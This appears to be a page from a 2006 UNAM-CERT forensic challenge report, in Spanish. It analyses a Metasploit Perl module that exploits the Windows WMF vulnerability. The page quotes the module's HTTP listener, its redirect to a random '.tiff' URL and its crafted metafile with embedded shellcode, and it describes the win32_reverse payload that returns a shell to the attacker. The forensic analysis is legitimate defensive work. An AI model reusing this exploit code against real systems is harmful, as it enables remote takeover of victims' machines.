En las líneas 89 a la 117, la subrutina exploit inicia el listener en el puerto 8080. Cuando una llamada llega a ese puerto la subrutina HandleHttpClient, identifica los headers HTTP, esta subrutina espera que la llamada sea a haciendo una solicitud de un archivo con extensión “.tiff”, observe en las líneas 172 a 192 como cuando recibe algo distinto envía un código HTML con una redirección a una URL compuesta de manera aleatoria con extensión “.tiff”. Recuerde que cuando el usuario visito “clientes.wmf” fue redireccionado a una URL con extensión “.tiff”.

'Arch' => [ 'x86' ], 'OS' => [ 'win32', 'winxp', 'win2003' ], 'Priv' => 0, 'AutoOpts' => { 'EXITFUNC' => 'thread' }, 'UserOpts' => { 'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ], 'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ], 'REALHOST' => [ 0, 'HOST', 'External address to use for redirects (NAT)' ], },

my $ext = 'tiff'; if ($url !~ /\.$ext/i) { $self->PrintLine("[*] HTTP Client connected from $rhost:$rport, redirecting..."); my $prefix = 'http://'.($self->GetVar('REALHOST') || Pex::Utils::SourceIP($fd->PeerAddr)).':'.$fd->LocalPort; my $wmfpath = RandomPath(); my $content = "<html><meta http-equiv='refresh' content='0; URL=${prefix}${wmfpath}.${ext}'><body>". "<div class='". Pex::Text::AlphaNumText(int(rand(1024)+256)). "'></div>". "One second please...". "</body></html>"; $fd->Send($self->BuildResponse($content)); $fd->Close; return; }

Page 48: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

48

En la línea 194 se carga el Payload a ejecutar en la variable shellcode, en este caso se escogió el win32_reverse que envía una terminal shell de regreso al atacante. En las líneas de la 221 a la 278 se forma el archivo que realizara el exploit observe como se incluye el Payload que se ejecutara:

Finalmente usando la función BuildResponse que se encuentra definida en las líneas 342 a365 se conforma la respuesta HTTP y en la línea 283 se envía a la victima. En cuanto al Payload usamos el win32_reverse que se encuentra definido en la carpeta payloads en el archivo win32_reverse.pm básicamente envía una terminal de regreso al atacante usando el puerto local y le despliega una shell de MS-DOS.

my $content = # WindowsMetaHeader pack('vvvVvVv', # WORD FileType; /* Type of metafile (1=memory, 2=disk) */ int(rand(2))+1, # WORD HeaderSize; /* Size of header in WORDS (always 9) */ 9, # WORD Version; /* Version of Microsoft Windows used */ (int(rand(2)) == 1 ? 0x0100 : 0x0300), # DWORD FileSize; /* Total size of the metafile in WORDs */ $clen/2, # WORD NumOfObjects; /* Number of objects in the file */ rand(0xffff), # DWORD MaxRecordSize; /* The size of largest record in WORDs */ rand(0xffffffff), # WORD NumOfParams; /* Not Used (always 0) */ rand(0xffff), ). # Filler data $pre_buff. # StandardMetaRecord - Escape() pack('Vvv', # DWORD Size; /* Total size of the record in WORDs */ 4, # WORD Function; /* Function number (defined in WINDOWS.H) */ int(rand(256) << 8) + 0x26, # WORD Parameters[]; /* Parameter values passed to function */ 9, ). $shellcode . # # Filler data # $suf_buff. # # Complete the structure # pack('Vv', 3, 0 ). Pex::Text::RandomData(int(rand(16384)+256));